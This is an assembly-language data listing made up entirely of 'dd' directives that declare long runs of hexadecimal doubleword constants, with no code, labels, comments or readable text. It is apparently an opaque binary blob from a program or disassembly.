dd 642AF631h, 65FE1513h, 0BC6B728Eh, 0A6A563E3h, 0B917327Bh
dd 0ECA2D302h, 183A5C29h, 3A44F12Eh, 7A810DEEh, 78B3D412h
dd 76116AF2h, 0F48BDF6h, 3883643Dh, 0EC2CA9h, 1917FC97h
dd 85E53A8Bh, 22FD941Dh, 9D9852ACh, 0B418E68Eh, 0AD7EF9BDh
dd 0FB416880h, 6CB680A0h, 0FBCC9D14h, 0D8BBD81Fh, 0D804CAC9h
dd 7619F943h, 9E150C54h, 0ABCC45CCh, 0FCB8DCCFh, 95A4DC76h
dd 0F476884h, 0E83595B8h, 0E71E1ED5h, 0C98B35A7h, 0C21A20D9h
dd 45BD2C99h, 0A8C8B5BEh, 4400349Eh, 169EC621h, 51B97C7Bh
dd 5C4725Bh, 2988358Bh, 0E5F7C3A4h, 81BA8D3Ch, 0C1ED3881h
dd 395587BBh, 50F735D7h, 8E74F3BBh, 0F0392A3h, 0DEB0B2Ah
dd 0AE6BFE81h, 3EA827FBh, 7DAAD160h, 64A96C3Eh, 5FAEC6EAh
dd 73E11C5h, 8EE6582Ah, 0B3385CC7h, 81FE51CBh, 3C93308h
dd 0A2AA59D3h, 3A46CDABh, 0FB1A3F5Dh, 86E3276Ch, 0C7DE5C68h
dd 7AE1E88Ch, 6CF76F50h, 5406F9F5h, 0C8C63B4Dh, 532FAB98h
dd 59E1FAB7h, 226ED17Dh, 0ADC378DBh, 0DF2F2F17h, 0E794865Ch
dd 8F6C477Ah, 2ACFED77h, 5296F744h, 5174029Ah, 46DB6A7Dh
dd 0F557012h, 7D6D2CBDh, 0DA05136Ch, 0C5AB3013h, 0A0D25FCEh
dd 62A219CCh, 55FE8039h, 0E0DE5F00h, 0CD52DCE5h, 0F3FAA9F8h
dd 0B4413F1h, 8E0054BEh, 0DC09AC97h, 0A598C5F8h, 0C6D072F5h
dd 0EBF0E6DFh, 0DD4BDF57h, 8AB2D9E1h, 0ACA194Eh, 6D97978Dh
dd 0C280C6A9h, 7EA01376h, 32558F29h, 279E3F6Dh, 0CD8A551Fh
dd 0CB72F91Ch, 9ABFAC08h, 0F37CA99h, 278404F9h, 6D476118h
dd 4C332DB5h, 0A4DCD3BDh, 0DB14F319h, 605DA5B3h, 8A9658E7h
dd 40F72ADBh, 9931CE8h, 601912CAh, 85950548h, 2B609D54h
dd 0BF05E363h, 2EC83ED0h, 0F662E2A1h, 977191h, 0D4E8FFBAh
dd 0F7B688A5h, 0EF16B621h, 719E827Dh, 0A1586E5Ch, 2CE59EAEh
dd 19FB7B04h, 74599C2h, 4F0B1692h, 8EE03EE8h, 0E2DDF26Bh
dd 3E32294Dh, 0ABA71035h, 0BE6F2490h, 0CC2EBFA1h, 606ED32Fh
dd 2DF439B2h, 2904C45Bh, 0C075D4EEh, 0D43973F4h, 9959D3DCh
dd 0CF23C880h, 0ABD44507h, 4D453DD8h, 0D59E9FC0h, 0BA44A7CEh
dd 51BBFBCDh, 988E1A4Dh, 33CAA92h, 4A110A91h, 0D0E07CC3h
dd 0FE1109FFh, 0BBA6CC19h, 0BE183A14h, 2C66C6EFh, 0E1DEF8D7h
dd 71F5C7F1h, 2634DC7Bh, 367E8216h, 952A9B3Bh, 5D1D9FDFh
dd 368E860Ch, 1A2F8F53h, 2DD2D66Eh, 8F66C18h, 4576B1D8h
dd 7A7B5CD0h, 7D613217h, 405E98E5h, 0FBECC510h, 5BB910CAh
dd 98E7F291h, 6A1DAC3Fh, 8CC44304h, 9E1B1D38h, 7852CBB9h
dd 1C619F1Ah, 9B58229Fh, 9377C6A5h, 0C05CB118h, 0C06AA011h
dd 0BD6E8EFAh, 57BA23D2h, 2CD6F4FFh, 3303531h, 5DA01A4h
dd 0FC4BF132h, 898744BEh, 0F8BE6B31h, 0EFC0A610h, 9BBE82A6h
dd 0BAEBDDE6h, 0A937F9FAh, 282C4389h, 41165F5h, 84B99FF2h
dd 0DE86886Dh, 0B9F2C57Dh, 8ED0D172h, 229617E3h, 0CDE70A59h
dd 0B622D0F8h, 0C3E730Ah
dd 6300CF41h, 0C11BCF1Ah, 0ED6FC452h, 0D4911582h, 1E11FBDDh
dd 91D9A7C8h, 0E92E3070h, 0D7111AC5h, 99277FB1h, 2BF56CB8h
dd 0EE7C0AC2h, 19754997h, 3925B402h, 59E7CEB8h, 8439AA6Eh
dd 6379AC64h, 69D2ABE6h, 3A0FDEA6h, 83F93B8h, 71DBB015h
dd 2101FF81h, 0E9739015h, 166574FDh, 0DFB8F38Dh, 62A9CFADh
dd 9763475Fh, 4DD9406Ch, 3EC64C7Ah, 0CDAFD40Eh, 1E05C930h
dd 59244751h, 0E7F733B7h, 0F6615353h, 7C1A6EFDh, 0A393B0F8h
dd 1609011Dh, 1DB03AAh, 0ACDE9D90h, 0B72D27D5h, 0E36C52E6h
dd 0B9184C77h, 10769BCBh, 0B1135FFDh, 0C1C1AB36h, 2D60CA09h
dd 88AF4F5Bh, 6C72DDF7h, 29C8668h, 0EBB50327h, 0DB8867B0h
dd 0EE83A6EFh, 6542AB5Ch, 0B06955EEh, 4C72B8E7h, 462403AFh
dd 80F22F9Bh, 0D369E9EBh, 1F44D411h, 0CA90E1E6h, 0DE4254D8h
dd 0CFE21FA9h, 0FD308FEFh, 1C86237h, 442D35B2h, 4274E5FEh
dd 0CDC7B64Fh, 0ADEDB968h, 25E0CE24h, 224AC5BEh, 8B15D75Fh
dd 0BA24250Ah, 3DD2D8F4h, 0D4921B21h, 7F5026C8h, 200CDCA3h
dd 7CE6F792h, 0B45218A2h, 6BFF704h, 84887001h, 0F59E9F98h
dd 0F42BF569h, 0CD360B9Fh, 0C7EB8DE6h, 34317361h, 1B5C22D2h
dd 0DD47274Ah, 0A00F7C9Eh, 0A1D369D9h, 0DBA60861h, 429108BAh
dd 1A64AF5Eh, 0D3770E28h, 0B6870B80h, 8D1072AFh, 0B7AFF4F6h
dd 0CA5603BEh, 0CE825E09h, 0DFBDD217h, 4B1427D3h, 4CFF6833h
dd 2D287FEFh, 21FA392Fh, 0CBC5E912h, 0C95EABD9h, 0EBD1C89Ch
dd 0A0CE07D8h, 0A40650C4h, 7CB0861Dh, 72EBDD7h, 0A1AE96F2h
dd 0E9F09FC4h, 0DFBBB4B4h, 9D3F831Fh, 0E96A10EFh, 34B97FAAh
dd 8D776C8Ch, 5C5E9CC0h, 8E72B8BBh, 91FB11BEh, 92146080h
dd 0C2EAC27Bh, 29C8BB0Bh, 938796E2h, 0EDB19963h, 5DDB0A87h
dd 0D0C03150h, 4819749Dh, 2F3BEBF7h, 0A614F27Dh, 97F4A245h
dd 64E4BF7Fh, 7505D802h, 0BBFBE1ABh, 6ABAC20Bh, 0BCA42F49h
dd 6302018h, 0DAD00CA2h, 0F2E5F5EBh, 0BD24A9A2h, 13284E0Fh
dd 39A0A068h, 0F5608A4Dh, 0C790C372h, 863C3276h, 0F68520C0h
dd 0A154C242h, 0EC4383C9h, 240BF71Bh, 893678EBh, 97FF5DC0h
dd 691B4F2Dh, 0A772B26h, 0ED2EABD9h, 1FC20B1h, 0D80F78EBh
dd 5AA0E937h, 2231BAD8h, 0A0B6115Dh, 59CA7ABCh, 15E3397Eh
dd 2F91BA08h, 0F4A76E95h, 0E6363C0Dh, 0F66C7DBh, 65A5BFCh
dd 9643C4DEh, 958663C3h, 66EF441Bh, 0AA3592Ah, 5611DB87h
dd 0AB500E45h, 0C7FE54B7h, 0CFE7857h, 0CD53C1A8h, 858B3FADh
dd 527E4F18h, 3E864ACDh, 0CA1FDB51h, 31109B0Eh, 0F8D70A56h
dd 73799B11h, 651F5DAh, 35ACC714h, 0E1149E47h, 34B86B92h
dd 52858396h, 86C1D02Ch, 5626A9BAh, 0FD4948ECh, 964E42FDh
dd 0C376F0CEh, 92118B5Ch, 6EB0A92Ch, 9A95BB96h, 152431FAh
dd 3771ABC4h, 51DAF308h, 5AE75DE5h, 2F8ACA17h, 5218DB76h
dd 1F60ED0Ch, 0A3E91977h, 7EB031BBh, 36F1EB78h, 746AC7CAh
dd 0EB948297h, 0B23E9FD4h, 67E3B5D3h, 0CE967B58h, 4A195784h
dd 14CB050Ch, 17D9702Dh, 27B2200Eh, 0FE36B1CAh, 0EF679333h
dd 17C209Dh, 427139A5h, 0D4924341h, 0E4EB2DCCh, 0B39BE14Ah
dd 7B3FF982h, 0B7BD6715h, 0F4950B26h, 2AF9E603h, 0E1263FFCh
dd 0FC916365h, 1F183338h, 0EDE3B22Fh, 11AC425Fh, 0EA3CE9FAh
dd 454486A7h, 7C484DC9h, 0A0C6B5D5h, 0F25E77B7h, 0E2AD373Ch
dd 0E041D8D6h, 8131A295h, 9416CF47h, 43845A4Ch, 0F4ECA9Ah
dd 61560E3Ch, 70C17Dh, 0F5B255EAh, 7A93514Bh, 62FC07D1h
dd 0F4832E95h, 58FA468Bh, 0B29B792Ah, 0B0DD64B0h, 0F6AD9FA6h
dd 78AE091Eh, 0F2C9A73Ah, 9D7DF74Fh, 5C24F054h, 23F354BDh
dd 1B0BCEEBh, 38BD0B3Ch, 594100BEh, 2D68D9Eh, 0E5389814h
dd 12D750A9h, 1F13201Eh, 8E2FF5F5h, 16598A2Ch, 0D1D5383Ah
dd 677ABE96h, 7E706753h, 0E9D15940h, 0B971B1EDh, 0C9E3135Bh
dd 0A811D954h, 94A6AFCDh, 0D798A4C7h, 780286Eh, 0A251ED9Fh
dd 42B5FF63h, 146AF96Fh, 4AA5E2D3h, 0FE32F153h, 101C3CAh
dd 0C8522D7Dh, 0C83C2C80h, 0DAAB55Eh, 1D8BA6D3h, 470C4B54h
dd 0B2777570h, 56C9E198h, 778387E9h, 155F75Eh, 0B365BA0Bh
dd 5F138A56h, 7F274D48h, 0FC535568h, 667DF29Bh, 15D32E85h
dd 41EFAEF4h, 0C7932930h, 1ED88552h, 39EB07A5h, 0B3F984ECh
dd 0ED634A37h, 0C460AAB8h, 294305D8h, 2008AC82h, 446DFD89h
dd 5124E9F5h, 0A59863F1h, 1D6FE61Dh, 0C76FAEF8h, 79130185h
dd 9D6823B1h, 0ED55F780h, 662B7B2Bh, 23D36B4Dh, 0B9079A3Bh
dd 0CEBA4185h, 6D6D8A29h, 2A6E0712h, 816134B1h, 0AC34521Ah
dd 9B9A960Eh, 16FE1A0Bh, 29D31A6Ah, 64E388E7h, 0FDE2CC1h
dd 626987F5h, 39725438h, 47B436DFh, 20677DCFh, 0FB698E3Ch
dd 0EB9BB7FFh, 0A8E9ACB1h, 4329E0BBh, 0A6EECB0Dh, 0D7231E48h
dd 4897781h, 0DD335D7Bh, 0DBDDD5A7h, 6B69F11h, 0C1CAB076h
dd 8FF28112h, 7F42CE0Eh, 0EBCEA54Bh, 70F4BD76h, 59BBB044h
dd 92CB3EFEh, 89BBB55h, 76168535h, 0C7CD9707h, 0BE127519h
dd 0AB4A73CDh, 2334D8BCh, 5362616Fh, 5B61F73Ah, 654122FAh
dd 0E9EFCA57h, 22613CCFh, 0C6286BEBh, 0D43DAA95h, 44D157E8h
dd 49F6DBDDh, 8473C36Dh, 57124A82h, 8EE47A01h, 3EDB4EABh
dd 47CAF935h, 0A3A00B4Eh, 0C33545E8h, 7C011E49h, 6135057Dh
dd 49941ED4h, 0F5A0AB01h, 3CE2468Ah, 65ADAD5Ah, 0EDEAA31h
dd 30A32114h, 4B20476Fh, 0DB1DD372h, 0B7DAF4A0h, 2EEA8E02h
dd 122461F0h, 0AA1F7E53h, 676C2BB3h, 0D361A36Dh, 9FA8786h
dd 35E1B2B9h, 6484C6B6h, 0B3981044h, 0BAFFCBC0h, 5FDA00DFh
dd 2F68C865h, 0CE44F751h, 410B3B42h, 0A39B71CDh, 29642DA4h
dd 0A05907A7h, 0C50423D2h, 35C0C70Dh, 0F8C24B2Eh, 0C9F1E7C5h
dd 0AF3B93A1h, 0D7B32921h, 0FCC48088h, 530A36C0h, 137AF24h
dd 68B53224h, 706FB306h, 510735A3h, 0EC719CB3h, 0D5466166h
dd 0B6EBBDBh, 4409B907h, 0F027A86Ah, 4E108722h, 39240527h
dd 1C6D2F96h, 0DC01C9E1h, 4C40042Ah, 0AECBE481h, 0BF38F702h
dd 6E50495h, 0E56917F4h, 0F2793E96h, 0FD65E90Bh, 0A4B853A2h
dd 0A924AA51h, 0C49C162Ch, 0F440B5B4h, 0BCD55E0h, 83774272h
dd 0DC05BE9Eh, 7909B13Eh, 0BD4D0D40h, 9DA5378Fh, 0B54D27D4h
dd 25DA4222h, 9BE118Dh, 0EA396EB6h, 0A9EE6A27h, 91198B29h
dd 33A6F77Bh, 3E303478h, 0FF48A8B0h, 14E8D7A7h, 444ACD74h
dd 44335C3Dh, 82AF5E15h, 0B3041CBCh, 21425B12h, 3C079FFAh
dd 3E952E8Eh, 28D9ED4Dh, 0B066C199h, 0E414828h, 0C1CB5A35h
dd 896A5301h, 12357376h, 0E8E0B90Bh, 7CE29A5Fh, 0BEA99027h
dd 36F8AFF3h, 0F6EB95D5h, 79353613h, 0DBC096E7h, 96580C38h
dd 0EC05B19Eh, 0FE111A45h, 0BCA18C2Dh, 3F288748h, 402B9542h
dd 980A4F27h, 6AAC953Ch, 0AD19413Ah, 6CA27E4h, 0A2DDD0A0h
dd 98C14080h, 7252CA35h, 0D6B8A719h, 3D6D6597h, 0D6B710FEh
dd 7B6D2F01h, 45B1F71Ah, 67296C6Fh, 55C22884h, 1980EB1Bh
dd 572455D2h, 0D9610D86h, 0EE666968h, 0B2072A5h, 9FDC9288h
dd 8F6A5AF7h, 7DC5A038h, 0E00B6DC5h, 0C09B54C4h, 5D179FF1h
dd 732D19CCh, 0FEFAE732h, 3768E81h, 5E169D61h, 22D3BCBh
dd 0A5B30853h, 3A2E7421h, 0A677CC16h, 588A95ACh, 0D14BCA84h
dd 0E9DAE4A1h, 2CE3D0D7h, 0C8DE1B2Ch, 5278AA0Fh, 2C43B370h
dd 0FBAE03EAh, 2013CA0Ah
dd 5EF2607Fh, 86CE2DDBh, 25C16C01h, 0AA9A27CDh, 0B8FC6752h
dd 0D06AF71Dh, 28273780h, 0A33F85EFh, 0DA98D230h, 0C90BF847h
dd 8E3CCD62h, 0C1EBE05Eh, 2CF28D5Ah, 19E34C5Fh, 0A72816FEh
dd 0C62901F1h, 505E7CD3h, 9D1EC152h, 0E932CCE3h, 936CB9A6h
dd 886A03F1h, 920F1786h, 0FBDE927Ch, 0FB4B8A29h, 51EE239Ch
dd 68F88B17h, 6C23E5CFh, 0AB7017D8h, 0A517C149h, 46C452A2h
dd 0BACE9BEDh, 0AD0DB2BDh, 0C6AABF75h, 4B3B7103h, 68CAF440h
dd 0E8CA6A47h, 482D561h, 51D86418h, 0F8817836h, 8AFDA95Ah
dd 0FACB5064h, 9D2298CAh, 0BBBF33B1h, 69CA07D0h, 0D0143252h
dd 0E5BC0125h, 929F4099h, 10FD5EF3h, 14603026h, 0DC8A12E8h
dd 0EF3DB9F5h, 0CF0FABC8h, 4C44337Bh, 49DF7252h, 66CE92D4h
dd 0A1CC6DDEh, 164E63F1h, 9CE8BC1Dh, 0B1408CB1h, 0F74B7A34h
dd 8455DD19h, 6DE10432h, 3CB841Fh, 0D7C7342Ah, 0E1722B2h
dd 0D1D907D9h, 51AD5B5Eh, 7922A07Ch, 68C65832h, 4C49492Ch
dd 1231D117h, 0C65641E9h, 7BA2D310h, 27BB25CEh, 5C0E0CCEh
dd 7755CDA7h, 0A5E42BB8h, 834957C2h, 3BB40D3Dh, 8591706Dh
dd 9BC7D8C9h, 0A6D2AEF4h, 0B9D7449Eh, 0DC5758B6h, 63E28E51h
dd 0B8D419D3h, 0C5E89998h, 2343B4E9h, 5A15BE19h, 0EF4A9760h
dd 0D5E93801h, 95F24CBDh, 0DB7A90FFh, 867C0EDFh, 620FA106h
dd 0CA6707D4h, 0F822127Fh, 0C689378Fh, 0D080C59Ch, 85430418h
dd 0EC9D7AD5h, 14AF630Fh, 0B784A57Bh, 0B87F88D3h, 195DC88Bh
dd 0BEEAC0A0h, 0E3B6E26h, 6AEB300h, 0F01AD518h, 0E410D09Dh
dd 66F57969h, 0E4709655h, 0FC024D6Fh, 0D235537Ah, 542C113Ah
dd 0C67527Ch, 1EE532FBh, 29FBE544h, 0F34DEEBFh, 93D5CB54h
dd 0C511B094h, 203DC953h, 9373F768h, 56BCD280h, 0DF4A1AFDh
dd 48BEEA99h, 73609DCBh, 174A7CD2h, 34FE141Bh, 0C8DAFAFBh
dd 6DDA1BC3h, 0DC4F70ECh, 7B8DDFC7h, 0DFCFE7F2h, 0F45B44FAh
dd 0F20618E7h, 15D56DE8h, 0B7810830h, 372B9AC4h, 63C9B8EFh
dd 0C18446DAh, 6414714Ch, 4FAFA42h, 4CDBCE79h, 8B06B79Fh
dd 86993B67h, 74E80424h, 0B83FEB29h, 497E1990h, 0C1F26A5Dh
dd 2E662CC3h, 43425F27h, 654AB1AFh, 58A6BCD3h, 20EADF94h
dd 1E69FDABh, 6541012Ch, 83F1C7FFh, 3FEE118Bh, 0DA751368h
dd 0EDA9A539h, 8D3CC010h, 0D0F897A7h, 0CDD8C252h, 0EC01C8EAh
dd 47C70B48h, 9AF198A5h, 6CE9034Bh, 0BE07DC46h, 142EEE63h
dd 9BA01557h, 2AEACC7Ch, 4E24EF62h, 7BCF21CEh, 0ED3B2BF3h
dd 71FA2795h, 9512C62Bh, 33DE37FBh, 0C54D67C7h, 0DD2F213h
dd 0B82C4F16h, 593ED38Bh, 4C9A3ABEh, 13710B7Ch, 46FD2977h
dd 66627F76h, 7046B65Ah, 4BEA344Ch, 2FCD44CAh, 930ED2EFh
dd 0EAEED869h, 106BDBA1h, 0A0DEACC3h, 52492FAh, 2FFFAF0Dh
dd 49FA4C17h, 0F7F4E419h, 0DA0FABA4h, 85087717h, 4A3CBC4Dh
dd 0D7EF2F68h, 6DE85F35h, 0EEEF6EF8h, 0EBC99AA3h, 5ABC3128h
dd 3F7A684Bh, 8E8045C1h, 0B86445A2h, 8CF6E7B5h, 2BA4EAACh
dd 0AC4014CFh, 33E71748h, 4424709Ch, 0E7B4C2B9h, 6B2DDDF2h
dd 0BE0FDE72h, 99748673h, 6D4FB7CAh, 464D2DDEh, 0D7A94333h
dd 82F9FBADh, 1B35717Ch, 4358435Ch, 6C6A171Dh, 0BBCD2019h
dd 88CEE625h, 53FF4ACAh, 939002A1h, 91FF9A3Fh, 0FE8C416Eh
dd 0EB850068h, 0F580088Eh, 15FFFF07h, 186CECABh, 0F80EE8C0h
dd 909D68EAh, 315574B0h, 0F45CAE16h, 0EADCAE64h, 2FF878F5h
dd 0BC2613CBh, 8669AE24h, 0F1A3AE79h, 517A2395h, 8583281Fh
dd 0C6F50472h, 412CC43Dh, 890DACF0h, 0C90C7FBAh, 93DD3737h
dd 6315693Eh, 850E2F8h, 0F6BF7E5Ch, 24B0290Eh, 43CEA072h
dd 23638603h, 65A62E4h, 0F2A53773h, 314A00BCh, 0B96B063Ch
dd 0AEFC9171h, 20D4BFA4h, 966C9810h, 6CB042D0h, 103EFB36h
dd 68BFAF5Fh, 136FBF6Ch, 0BDBAAB09h, 83B43C19h, 54202FECh
dd 0CEE963E4h, 3DBA45DEh, 74379F90h, 87649CFAh, 0A443338Ah
dd 1485C8CFh, 68A2CE31h, 5986B03h, 0A4ADBB62h, 7E96EE98h
dd 9F6DCC2Bh, 5DAD38EDh, 0C1D23013h, 0D2D6F571h, 4A0C09F4h
dd 8BA61D9Fh, 0C5BC40ADh, 610B007Fh, 125363FAh, 1AF8E93Fh
dd 0C810BE5Eh, 0AD46DE59h, 0F53F92C3h, 0DC78776Ch, 924C9BF7h
dd 39462EEh, 0AB6C3E27h, 0AA75E3ADh, 2DA144D6h, 736248FFh
dd 0D57FE6D2h, 836F5125h, 7ABAFA73h, 0A0D88F7Bh, 22BF6082h
dd 623459D9h, 22ECD9C9h, 971CBF20h, 0B0CC2B29h, 67D27B45h
dd 0EF785B67h, 28CAAC33h, 2E759CA5h, 4C35E542h, 0F2B45F4Ch
dd 0AFBE45B7h, 0D4E95EC7h, 6C69C2D6h, 0AC0C2AF0h, 1310CF9Ah
dd 7F0E71Fh, 0DB1AC55Ch, 6E7C6943h, 0E217E178h, 0C641D501h
dd 25F97CE1h, 5679DA9Ch, 0EACC186Fh, 8806AAD4h, 5095C11Bh
dd 0D2C69C9Ch, 0C23BDC1Fh, 54BB16FDh, 0C2E27060h, 0B2DB18E4h
dd 0C5F12405h, 27178209h, 0B6237028h, 1F3559E0h, 0AB6340F8h
dd 0D7307F8Eh, 0EB918BFEh, 7EC7DD3h, 2D3EC18h, 5B724A4Eh
dd 0CFAB8C5Fh, 0A91148C0h, 0E27D74AAh, 7DCBFA0Dh, 0C3668EECh
dd 0DC3CE02h, 910DE8E7h, 0ECE431C2h, 9B9E1BE4h, 0E917CE17h
dd 0A7E141DEh, 0A78C40BDh, 8EA88EBCh, 0B1E0F28Eh, 6435BFACh
dd 9DAAE72Ch, 0B505CA15h, 269D2DD5h, 54092172h, 91D49196h
dd 0F8DB0F11h, 0FDEEFC2Ch, 45202B6Fh, 0DD06AB61h, 0E88D65C4h
dd 0C30BC64Fh, 4EBB1F39h, 0F6089CADh, 45BDC330h, 0FD0EE2EDh
dd 7F858148h, 910A1862h, 8E36184Dh, 0BAA2321Bh, 0C64899E4h
dd 62E4C54Eh, 0E60F0230h, 0E0427414h, 31B345E5h, 58B488A1h
dd 0E660A672h, 0A7CB6BE4h, 0D3EF14BBh, 58799C78h, 0F12E5F9Ah
dd 0F44ACC63h, 5CCE35C5h, 9BC2D115h, 13C689D9h, 4BD1D54Fh
dd 18F40A11h, 0E3646346h, 9FC8E5D9h, 4C1F240Ch, 83A79F22h
dd 37E26589h, 0C493A4F2h, 99A77F8Ah, 9039CF92h, 7D4721B4h
dd 0EE424DB4h, 97B60B0Eh, 0DE4735B5h, 0BE97C85Dh, 7025F0C3h
dd 50B13727h, 0C220E2D2h, 4B7F4920h, 2116D429h, 0F97F4074h
dd 0AC21D679h, 83246867h, 0B0302B5Eh, 0E732EEEAh, 1A692325h
dd 972885Dh, 0D11ADC07h, 5CF3697Ah, 117FF8F5h, 9A7D06BDh
dd 9932CBBFh, 0D9E2AA98h, 5A41F4B1h, 0A1C8BD6Dh, 36A50A3Eh
dd 0A106DC76h, 0DA6A9486h, 0B275D695h, 0D3CA81CAh, 16409E74h
dd 0D9F0D29Bh, 49F9928Ah, 0EA52669Eh, 5600B5EDh, 0F24B68D4h
dd 0A6AA6429h, 0C3C5E337h, 33D97BDFh, 0C9A8DC6Ch, 63408AA0h
dd 22DEF645h, 5135B5B6h, 8AD37EEFh, 4559B5D9h, 1273A7CEh
dd 6EDD0987h, 4C3972DCh, 10C11AFEh, 85E94CA4h, 0EAB51EBFh
dd 0A2F215CFh, 6BB4BE04h, 0F8F036C0h, 4BBF8FC7h, 0B71EF983h
dd 2A79F7FCh, 5CBC429Dh, 16FDD164h, 0CB093084h, 0A8171D2Eh
dd 13742FF9h, 0E05BD73Fh, 51FBBB1Ch, 61383036h, 401A6391h
dd 0F8337CAAh, 83D6AF49h, 74F2E616h, 0A1CA12F6h, 11FBF751h
dd 6AAF345Ch, 366D9C44h, 73180EC4h, 4F13189Dh, 0AF1719CFh
dd 0C9F0B2F1h, 0D405BD7Dh, 6EAE6A3Ah, 8272ABF1h, 5AE92F07h
dd 179CCAF4h, 2E2D7ADh, 6D8A4971h, 1EA3FF31h, 0D99D4A2Bh
dd 0ABAF28ABh, 5111B7A4h, 0AA3918F4h, 1EC0C48Eh, 0AC4E52Eh
dd 0A7619F2Bh, 0BDDB6B3Eh, 0D988645Bh, 0C8AA998Eh, 601A9D61h
dd 0FF28DEA9h, 1838F46Eh, 0EDA2D72Dh, 0D3F265DDh, 4D733AF1h
dd 61B91D9h, 3CF678A3h, 19A17168h, 96FD08DAh, 0CD7005E2h
dd 759580A4h, 0D72B1DC8h
dd 2759AC62h, 8EDE4F7Ah, 5255C485h, 280C8553h, 0FBB3C6C4h
dd 366D4BF0h, 72693F28h, 2DBFD2A6h, 0B6706AFCh, 5616FCB0h
dd 0AF0C46E2h, 0F8D8C098h, 3E507F0Dh, 3E79D26Dh, 217B8C2Ah
dd 0DC88398Eh, 0F750DF2Dh, 467492D5h, 0EBA0671Fh, 87CAE504h
dd 41300D19h, 0A277FBC9h, 8BDC11A2h, 90014D32h, 0D3B68195h
dd 0EBA4A03Bh, 0B56C3E85h, 0BA8CC4A2h, 0EF1253h, 646C0B6h
dd 0C63B5E34h, 974BB7A8h, 31C46FB2h, 6ECA8DF5h, 0C9CB570Ah
dd 6921581h, 86998424h, 25497657h, 75EC9985h, 0AE2166ADh
dd 0A38EF6D9h, 0C2DCA806h, 7B38FE2Dh, 5F3D6136h, 1FE72279h
dd 9AD1DEBCh, 561BDE88h, 56F75746h, 384DD584h, 543546D0h
dd 9B4FD1F2h, 0A44216A2h, 0FB32DF82h, 0BEFE89DFh, 1BB74F43h
dd 0E8F0DFFEh, 279EC6BFh, 76523C98h, 0E2831DD3h, 3E259DC3h
dd 19D7EB84h, 1CF441DAh, 196B8207h, 396EDFDBh, 0AF888467h
dd 84B36E77h, 0F7FC8DCh, 81F0CEDCh, 7B3FDFE4h, 0E77AEDC1h
dd 56AA1C18h, 0EB18C733h, 0FF2B7677h, 0E4DE4D66h, 0B90905B4h
dd 9484A08Fh, 54D1D4CAh, 541666Bh, 6F6A9778h, 3730B0E5h
dd 9DDDAECAh, 26DC99Bh, 0B566C30h, 506C1A84h, 5AAFF138h
dd 3BC4F1E1h, 22D46A08h, 710FCF8Dh, 702485FDh, 8CDDCB1Ch
dd 0F34F2C85h, 577B1110h, 0F418FCA2h, 6006699Dh, 7587DB96h
dd 0ED315D5Ch, 6BB85369h, 51A3E352h, 0E26BF77Eh, 59A88E23h
dd 32FB8946h, 0DF03B76Dh, 0A2725932h, 0C9C555DCh, 0C66A041Ch
dd 0C7560253h, 2DF19F45h, 0E47110EDh, 51FBE0CEh, 203AD28Dh
dd 415CCEEBh, 794A91E5h, 7F15EBCEh, 0A74EC18Ch, 716EAFDh
dd 804CE0h, 92BE4962h, 47A7D029h, 0F3CB94h, 0FA72E3DEh
dd 34514891h, 792D53A2h, 0EFED229Ah, 659AFA30h, 0D12D6E42h
dd 217345Ch, 43157C6h, 0C923C14Fh, 795ED3Fh, 64EC7FD2h
dd 0FA54BCA2h, 40C9499Ah, 683ED328h, 5D7D14B8h, 4216F0DCh
dd 0E0B43DA2h, 86DBEB92h, 371E2D1Eh, 0CFDE7000h, 4A0E8B67h
dd 39AF613Ch, 976A2E10h, 0B6050C55h, 148A4E0Fh, 29F18391h
dd 79EC1893h, 70C640DEh, 4F4A329Fh, 28536F49h, 5FC80863h
dd 0A0F11FF9h, 0E452D121h, 60A6B700h, 0B8883CD9h, 23EFE498h
dd 0A42745Ch, 0B8DD7D8Dh, 0AAA47EC4h, 93A5FEBFh, 8D49DC04h
dd 0C89C76A3h, 4DAF1705h, 74304271h, 18BFA4BFh, 0D57F105h
dd 0AEA973E3h, 0A540A623h, 0B7D7FCC8h, 924BC6F9h, 691B9275h
dd 0DCC2E006h, 593FD651h, 224C65C8h, 2AACE94Dh, 28A443BFh
dd 5B53493Eh, 0A9825F55h, 68CA0465h, 235E80C0h, 39E9BF0Bh
dd 30403740h, 94E603F3h, 0E50B4745h, 6FD7C463h, 0E0B4125Dh
dd 9F0DD2CBh, 9086147Bh, 3BA7A7A3h, 1BBE127Fh, 0E761C7B7h
dd 0C1A945B9h, 0A4B215h, 0E54E2313h, 4F54BB24h, 82076665h
dd 0ECF8B15Ah, 1BA71797h, 2D3AA545h, 0E58DFDEAh, 0A559C680h
dd 4E127C3Bh, 0C2C84C54h, 17595A57h, 642A3B19h, 0D2776039h
dd 3AF6D6F8h, 4A4C1D45h, 78FE3A66h, 6126D8D0h, 0AFE6A898h
dd 0C40EEB0Ch, 0BD2AF8B2h, 0C6900A7Bh, 18FE4EBDh, 5E55F143h
dd 6F9A76F3h, 29AE13F5h, 0C35C22AEh, 0BDBA7DC3h, 0D98023Bh
dd 0AFDDA25Eh, 0BFB8DC7Fh, 84294348h, 56BF39A6h, 4B24D673h
dd 68F484B7h, 1DD38F79h, 113583BFh, 0CEC71D8Ch, 9BCD78E2h
dd 2D846A08h, 0CBA9A122h, 5D66B6D6h, 9965CDD4h, 4A2BFC5Fh
dd 9FF0ECCDh, 0B879AE64h, 6631E9A8h, 0F76173A2h, 294A39A7h
dd 82F330E3h, 8F73393Ah, 781C97ECh, 18916D07h, 78846582h
dd 194BAC85h, 0C5C4C33Dh, 1AA9826Fh, 0A464FD38h, 0C36AE1EFh
dd 0DA4CF1EEh, 0B85791E3h, 33635914h, 0A497404Ch, 18D68341h
dd 0FBF1CC0Bh, 9489E9EDh, 775CDFEEh, 2214E2BEh, 0ABE73331h
dd 4EC99333h, 5E084F49h, 3B3DC98Ch, 1AA6FEA1h, 163A8AC6h
dd 69572432h, 1358BD90h, 0AD8731AEh, 474859Ch, 25A99895h
dd 0F7010244h, 28A00597h, 4358AF65h, 79941E7Eh, 0DA636195h
dd 0A6283779h, 0E74044A1h, 95FFF141h, 0A8E8002Eh, 11ACA5Ch
dd 0BFDCB6D9h, 46DB63D7h, 159B6207h, 0B18E732Eh, 2ADC679Ch
dd 0E8AC5A95h, 0CC476B52h, 0DA0E0B8Ch, 55CFF648h, 0FBE6B150h
dd 31A126EAh, 0C90C3452h, 2E39B4BFh, 8A4426E0h, 0A081A4Ah
dd 8DEC3A9Bh, 0BF7EB936h, 0F5BFA54Ch, 17C3B852h, 0EC351986h
dd 296727Fh, 6F9A6DE1h, 97C7E1EBh, 37219CACh, 75743AF2h
